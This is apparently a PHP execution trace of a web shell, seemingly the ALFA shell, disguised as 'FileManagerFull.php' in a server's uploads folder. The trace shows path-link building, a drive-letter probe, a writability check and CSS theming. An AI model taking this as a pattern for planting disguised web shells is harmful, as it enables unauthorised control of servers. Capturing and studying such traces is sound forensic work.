3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'var/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'www/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'html/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'html/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1043 $cwd_links .= 'uploads/'
3 A /var/www/html/uploads/FileManagerFull.php 1044 $cach_cwd_path .= 'uploads/'
3 A /var/www/html/uploads/FileManagerFull.php 1042 $j++
3 A /var/www/html/uploads/FileManagerFull.php 1046 $cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3 A /var/www/html/uploads/FileManagerFull.php 1039 $i++
3 A /var/www/html/uploads/FileManagerFull.php 1048 $drives = ''
4 93 0 0.015837 2774832 range 0 /var/www/html/uploads/FileManagerFull.php 1049 2 'a' 'z'
4 93 1 0.015852 2776232
4 93 R [0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4 94 0 0.015887 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'a:\\'
4 94 1 0.015957 2776240
4 94 R FALSE
4 95 0 0.015973 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'b:\\'
4 95 1 0.015989 2776240
4 95 R FALSE
4 96 0 0.016003 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'c:\\'
4 96 1 0.016018 2776240
4 96 R FALSE
4 97 0 0.016031 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'd:\\'
4 97 1 0.016046 2776240
4 97 R FALSE
4 98 0 0.016059 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'e:\\'
4 98 1 0.016074 2776240
4 98 R FALSE
4 99 0 0.016086 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'f:\\'
4 99 1 0.016106 2776240
4 99 R FALSE
4 100 0 0.016119 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'g:\\'
4 100 1 0.016133 2776240
4 100 R FALSE
4 101 0 0.016146 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'h:\\'
4 101 1 0.016161 2776240
4 101 R FALSE
4 102 0 0.016174 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'i:\\'
4 102 1 0.016188 2776240
4 102 R FALSE
4 103 0 0.016201 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'j:\\'
4 103 1 0.016215 2776240
4 103 R FALSE
4 104 0 0.016228 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'k:\\'
4 104 1 0.016243 2776240
4 104 R FALSE
4 105 0 0.016256 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'l:\\'
4 105 1 0.016270 2776240
4 105 R FALSE
4 106 0 0.016283 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'm:\\'
4 106 1 0.016298 2776240
4 106 R FALSE
4 107 0 0.016310 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'n:\\'
4 107 1 0.016325 2776240
4 107 R FALSE
4 108 0 0.016338 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'o:\\'
4 108 1 0.016352 2776240
4 108 R FALSE
4 109 0 0.016365 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'p:\\'
4 109 1 0.016380 2776240
4 109 R FALSE
4 110 0 0.016393 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'q:\\'
4 110 1 0.016408 2776240
4 110 R FALSE
4 111 0 0.016421 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'r:\\'
4 111 1 0.016436 2776240
4 111 R FALSE
4 112 0 0.016449 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 's:\\'
4 112 1 0.016463 2776240
4 112 R FALSE
4 113 0 0.016476 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 't:\\'
4 113 1 0.016490 2776240
4 113 R FALSE
4 114 0 0.016503 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'u:\\'
4 114 1 0.016517 2776240
4 114 R FALSE
4 115 0 0.016530 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'v:\\'
4 115 1 0.016544 2776240
4 115 R FALSE
4 116 0 0.016557 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'w:\\'
4 116 1 0.016571 2776240
4 116 R FALSE
4 117 0 0.016584 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'x:\\'
4 117 1 0.016598 2776240
4 117 R FALSE
4 118 0 0.016611 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'y:\\'
4 118 1 0.016625 2776240
4 118 R FALSE
4 119 0 0.016638 2776200 is_dir 0 /var/www/html/uploads/FileManagerFull.php 1050 1 'z:\\'
4 119 1 0.016651 2776240
4 119 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1052 $csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4 120 0 0.016687 2774832 __showicon 1 /var/www/html/uploads/FileManagerFull.php 1058 1 'alfamini'
4 A /var/www/html/uploads/FileManagerFull.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/FileManagerFull.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/FileManagerFull.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 120 1 0.016742 2774832
4 120 R 'http://solevisible.com/images/alfamini.png'
4 121 0 0.017058 2789792 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 1069 1 'header_values'
4 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
4 121 1 0.017088 2789792
4 121 R '#67ABDF'
4 122 0 0.017104 2791328 __showicon 1 /var/www/html/uploads/FileManagerFull.php 1069 1 'alfamini'
4 A /var/www/html/uploads/FileManagerFull.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/FileManagerFull.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/FileManagerFull.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 122 1 0.017161 2791328
4 122 R 'http://solevisible.com/images/alfamini.png'
4 123 0 0.017180 2795424 __showicon 1 /var/www/html/uploads/FileManagerFull.php 1069 1 'alfamini'
4 A /var/www/html/uploads/FileManagerFull.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/FileManagerFull.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/FileManagerFull.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 123 1 0.017232 2795424
4 123 R 'http://solevisible.com/images/alfamini.png'
4 124 0 0.017248 2795424 __showicon 1 /var/www/html/uploads/FileManagerFull.php 1069 1 'btn'
4 A /var/www/html/uploads/FileManagerFull.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/FileManagerFull.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/FileManagerFull.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 124 1 0.017296 2795424
4 124 R 'http://solevisible.com/images/btn.png'
4 125 0 0.017313 2795424 is_writable 0 /var/www/html/uploads/FileManagerFull.php 1070 1 '/var/www/html/uploads/'
4 125 1 0.017331 2795464
4 125 R TRUE
4 126 0 0.017346 2799520 alfaCssLoadColors 1 /var/www/html/uploads/FileManagerFull.php 1070 0
4 A /var/www/html/uploads/FileManagerFull.php 627 $css = ''
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'shell_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.header'
5 127 0 0.017394 2799520 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'shell_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 127 1 0.017431 2799520
5 127 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 128 0 0.017456 2799520 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border: 7px solid {color}'
5 128 1 0.017473 2799672
5 128 R 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 7px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.header{border: 7px solid #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '#meunlist'
5 129 0 0.017525 2799640 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'shell_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 129 1 0.017560 2799640
5 129 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 130 0 0.017585 2799640 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 130 1 0.017601 2799784
5 130 R 'border-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '#meunlist{border-color: #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '#hidden_sh'
5 131 0 0.017650 2799664 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'shell_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 131 1 0.017685 2799664
5 131 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 132 0 0.017713 2799664 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'background-color: {color}'
5 132 1 0.017729 2799816
5 132 R 'background-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '#hidden_sh{background-color: #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.ajaxarea'
5 133 0 0.017779 2799704 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'shell_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 133 1 0.017813 2799704
5 133 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 134 0 0.017837 2799704 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color}'
5 134 1 0.017854 2799856
5 134 R 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 1px solid #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.ajaxarea{border: 1px solid #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.foot'
5 135 0 0.017903 2799768 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'shell_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5 135 1 0.017938 2799768
5 135 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 136 0 0.017961 2799768 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border-color: {color}'
5 136 1 0.017977 2799912
5 136 R 'border-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border-color: #0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.foot{border-color: #0E304A}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_vars'
5 137 0 0.018026 2799760 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_vars'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#27979B'
5 137 1 0.018051 2799760
5 137 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_vars{color: #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_values'
5 138 0 0.018099 2799792 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_values'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
5 138 1 0.018123 2799792
5 138 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_values{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_on'
5 139 0 0.018169 2799824 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_on'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 139 1 0.018194 2799824
5 139 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_on{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_off'
5 140 0 0.018239 2799888 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_off'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#ff0000'
5 140 1 0.018264 2799888
5 140 R '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_off{color: #ff0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_none'
5 141 0 0.018313 2799888 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_none'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 141 1 0.018337 2799888
5 141 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_none{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'home_shell'
5 142 0 0.018382 2799952 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'home_shell'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#ff0000'
5 142 1 0.018406 2799952
5 142 R '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.home_shell{color: #ff0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'home_shell:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.home_shell:hover'
5 143 0 0.018463 2799952 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'home_shell:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5 143 1 0.018494 2799952
5 143 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 144 0 0.018518 2799952 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 144 1 0.018533 2800088
5 144 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.home_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'back_shell'
5 145 0 0.018580 2800008 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'back_shell'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#efbe73'
5 145 1 0.018604 2800008
5 145 R '#efbe73'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#efbe73'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.back_shell{color: #efbe73;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'back_shell:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.back_shell:hover'
5 146 0 0.018662 2800008 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'back_shell:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5 146 1 0.018692 2800008
5 146 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 147 0 0.018716 2800008 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 147 1 0.018731 2800144
5 147 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.back_shell:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_pwd'
5 148 0 0.018779 2800072 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_pwd'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 148 1 0.018803 2800072
5 148 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_pwd{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_pwd:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.header_pwd:hover'
5 149 0 0.018862 2800072 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'header_pwd:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5 149 1 0.018893 2800072
5 149 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 150 0 0.018917 2800072 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 150 1 0.018932 2800208
5 150 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.header_pwd:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_drive'
5 151 0 0.018978 2800200 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_drive'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 151 1 0.019003 2800200
5 151 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_drive{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_drive:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.header_drive:hover'
5 152 0 0.019058 2800200 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'header_drive:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5 152 1 0.019089 2800200
5 152 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 153 0 0.019112 2800200 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 153 1 0.019128 2800336
5 153 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.header_drive:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'header_show_all'
5 154 0 0.019175 2800200 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'header_show_all'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 154 1 0.019200 2800200
5 154 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.header_show_all{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'disable_functions'
5 155 0 0.019245 2800200 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'disable_functions'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#ff0000'
5 155 1 0.019270 2800200
5 155 R '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#ff0000'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.disable_functions{color: #ff0000;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'footer_text'
5 156 0 0.019317 2800328 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'footer_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#27979B'
5 156 1 0.019341 2800328
5 156 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.footer_text{color: #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'menu_options'
5 157 0 0.019388 2800328 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'menu_options'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#27979B'
5 157 1 0.019412 2800328
5 157 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.menu_options{color: #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'menu_options:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.menu_options:hover'
5 158 0 0.019477 2800328 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'menu_options:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5 158 1 0.019509 2800328
5 158 R '#646464'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#646464'
5 159 0 0.019534 2800328 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
5 159 1 0.019551 2800504
5 159 R 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #646464;font-weight: unset;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'options_list'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.content_options_holder .header center a'
5 160 0 0.019619 2800496 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'options_list'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5 160 1 0.019650 2800496
5 160 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#00FF00'
5 161 0 0.019674 2800496 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#00FF00' 'color: {color};'
5 161 1 0.019690 2800632
5 161 R 'color: #00FF00;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #00FF00;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.content_options_holder .header center a{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'options_list:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.content_options_holder .header center a:hover'
5 162 0 0.019753 2800456 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'options_list:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5 162 1 0.019784 2800456
5 162 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 163 0 0.019808 2800456 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 163 1 0.019824 2800592
5 163 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'options_list_header'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.txtfont_header'
5 164 0 0.019899 2800584 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'options_list_header'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5 164 1 0.019931 2800584
5 164 R '#59cc33'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#59cc33'
5 165 0 0.019955 2800584 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#59cc33' 'color: {color};'
5 165 1 0.019971 2800720
5 165 R 'color: #59cc33;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #59cc33;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.txtfont_header{color: #59cc33;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'options_list_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.txtfont,.tbltxt'
5 166 0 0.020038 2800584 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'options_list_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5 166 1 0.020068 2800584
5 166 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 167 0 0.020092 2800584 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 167 1 0.020108 2800720
5 167 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'Alfa+'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.alfa_plus'
5 168 0 0.020166 2800584 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'Alfa+'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5 168 1 0.020198 2800584
5 168 R '#06ff0f'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#06ff0f'
